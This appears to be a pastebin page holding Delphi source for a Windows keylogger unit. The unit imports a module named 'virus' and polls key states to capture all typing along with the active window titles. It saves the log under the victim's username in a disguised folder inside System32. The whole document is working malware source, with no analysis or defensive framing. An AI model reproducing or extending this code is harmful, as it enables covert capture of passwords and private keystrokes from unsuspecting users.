All pastes #922439 Raw Edit

Stuff

public text v1 · immutable
#922439 ·published 2008-02-28 20:24 UTC
rendered paste body
unit untOffLineLogger;

interface

uses SysUtils, virus, Windows;

procedure OLGetLetter;
function OLShift:Boolean;
function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;
procedure OLShowLetter(strLetter:string);
function OLActiveCaption:string;

implementation

var
   cWindow:string;

const cr_lf = chr(13)+chr(10);

procedure OLGetLetter;
var
j:Integer;
a:string;
begin
//Verify if lettrers 'A'..'Z'..'a'..'z' is pressed
//basicly to see if its a or A check the state of the caps and shift keys
//same gows with every thing alse liek you 1 or ! :P
for j:=65 to 90 do
if Odd(GetAsyncKeyState(j)) then
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
OLShowLetter(LowerCase(Chr(j)))
else
OLShowLetter(UpperCase(Chr(j)))
else
if GetKeyState(VK_SHIFT)<0 then
OLShowLetter(UpperCase(Chr(j)))
else
OLShowLetter(LowerCase(Chr(j)));


//Verify if numpab is pressed
for j:=96 to 105 do
if Odd(GetAsyncKeyState(j)) then
OLShowLetter(IntToStr((j - 97) + 1));
//Verify if F1 to F24 is pressed
for j:=112 to 135 do
if Odd(GetAsyncKeyState(j)) then
OLShowLetter('{F' + IntToStr(j - 112 + 1) + '}');
//Verify if number 0 to 9 is pressed
for j:=48 to 57 do
if Odd(GetAsyncKeyState(j)) then
if OLShift then
begin
case j - 48 of
1: OLShowLetter('!');
2: OLShowLetter('@');
3: OLShowLetter('#');
4: OLShowLetter('$');
5: OLShowLetter('%');
6: OLShowLetter('^');
7: OLShowLetter('&');
8: OLShowLetter('*');
9: OLShowLetter('(');
0: OLShowLetter(')');
end;
end
else
OLShowLetter(IntToStr(j - 48));
if Odd(GetAsyncKeyState(VK_BACK)) then Form1.Memo1.Text:=Copy(Form1.Memo1.Text,1,Length(Form1.Memo1.Text)-1);
if Odd(GetAsyncKeyState(VK_TAB)) then OLShowLetter('{TAB}');
if Odd(GetAsyncKeyState(VK_RETURN)) then OLShowLetter(#13#10);
//ok i added this in just so you know the all functions :P
if Odd(GetAsyncKeyState(VK_SHIFT)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_CONTROL)) then OLShowLetter('{ctrl}');
if Odd(GetAsyncKeyState(VK_MENU)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_PAUSE)) then OLShowLetter('{puase}');
if Odd(GetAsyncKeyState(VK_ESCAPE)) then OLShowLetter('{ESC}');
if Odd(GetAsyncKeyState(VK_SPACE)) then OLShowLetter(' ');
if Odd(GetAsyncKeyState(VK_END)) then OLShowLetter('{end}');
if Odd(GetAsyncKeyState(VK_HOME)) then OLShowLetter('{home}');
if Odd(GetAsyncKeyState(VK_LEFT)) then OLShowLetter('{left arrow}');
if Odd(GetAsyncKeyState(VK_RIGHT)) then OLShowLetter('{right arrow}');
if Odd(GetAsyncKeyState(VK_UP)) then OLShowLetter('{up arrow}');
if Odd(GetAsyncKeyState(VK_DOWN)) then OLShowLetter('{down arrow}');
if Odd(GetAsyncKeyState(VK_INSERT)) then OLShowLetter('{insert}');
if Odd(GetAsyncKeyState(VK_MULTIPLY)) then OLShowLetter('*');
if Odd(GetAsyncKeyState(VK_ADD)) then OLShowLetter('+');
if Odd(GetAsyncKeyState(VK_SUBTRACT)) then OLShowLetter('-');
if Odd(GetAsyncKeyState(VK_DECIMAL)) then OLShowLetter('.');
if Odd(GetAsyncKeyState(VK_DIVIDE)) then OLShowLetter('/');
if Odd(GetAsyncKeyState(VK_NUMLOCK)) then OLShowLetter('{num lock}');
if Odd(GetAsyncKeyState(VK_CAPITAL)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_SCROLL)) then OLShowLetter('{scroll lock}');
if Odd(GetAsyncKeyState(VK_DELETE)) then OLShowLetter('{del}');
if Odd(GetAsyncKeyState(VK_PRIOR)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_NEXT)) then OLShowLetter('{next}');
if Odd(GetAsyncKeyState(VK_PRINT)) then OLShowLetter('{PRINT SCREEN}');
if OLMoreChars($BA,':',';',a) then OLShowLetter(a);
if OLMoreChars($BB,'+','=',a) then OLShowLetter(a);
if OLMoreChars($BC,'<',',',a) then OLShowLetter(a);
if OLMoreChars($BD,'_','-',a) then OLShowLetter(a);
if OLMoreChars($BE,'>','.',a) then OLShowLetter(a);
if OLMoreChars($BF,'?','/',a) then OLShowLetter(a);
if OLMoreChars($C0,'~','`',a) then OLShowLetter(a);
if OLMoreChars($DB,'{','[',a) then OLShowLetter(a);
if OLMoreChars($DC,'|','\',a) then OLShowLetter(a);
if OLMoreChars($DD,'}',']',a) then OLShowLetter(a);
if OLMoreChars($DE,'"','''',a) then OLShowLetter(a);
   {PrintScreen}
end;

function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;
begin
   OLMoreChars:=True;
   if Odd(GetAsyncKeyState(CharNumber)) then
   begin
      if OLShift then
         Answer:=TruePart
      else
         Answer:=FalsePart;
      Exit;
   end;
   OLMoreChars:=False;
end;

function OLShift:Boolean;
begin
   OLShift:=GetAsyncKeyState(VK_SHIFT) <> 0;
end;

procedure OLShowLetter(strLetter:string);
const
  cnMaxUserNameLen = 254;
var
  cActive:string;
  sUserName     : string;
  dwUserNameLen : DWord;
begin
  dwUserNameLen := cnMaxUserNameLen-1;
  SetLength( sUserName, cnMaxUserNameLen );
  GetUserName(PChar(sUserName), dwUserNameLen);
  SetLength(sUserName, dwUserNameLen);

  cActive:=OLActiveCaption;
if cWindow <> cActive then
begin
cWindow:=cActive;
strLetter:=cr_lf+'////////focused window:' + cWindow + cr_lf + strLetter;
end;
form1.Memo1.Text:=form1.Memo1.Text + strLetter;
if DirectoryExists('c:\winnt') then
//If ParamStr(1) <> 'NoExec' Then
 form1.Memo1.Lines.SaveToFile('c:\winnt\system32\winux\' + sUserName + '.joo')

 else
//If ParamStr(1) <> 'NoExec' Then
form1.Memo1.Lines.SaveToFile('C:\Windows\System32\winux\' + sUserName);

end;

function OLActiveCaption:string;
var
   Handle:THandle;
   Len:LongInt;
   Title:string;
begin
   Handle:=GetForegroundWindow;
   Len:=GetWindowTextLength(Handle) + 1;
   SetLength(Title,Len);
   GetWindowText(Handle,PChar(Title),Len);
   OLActiveCaption:=TrimRight(Title);
end;

end.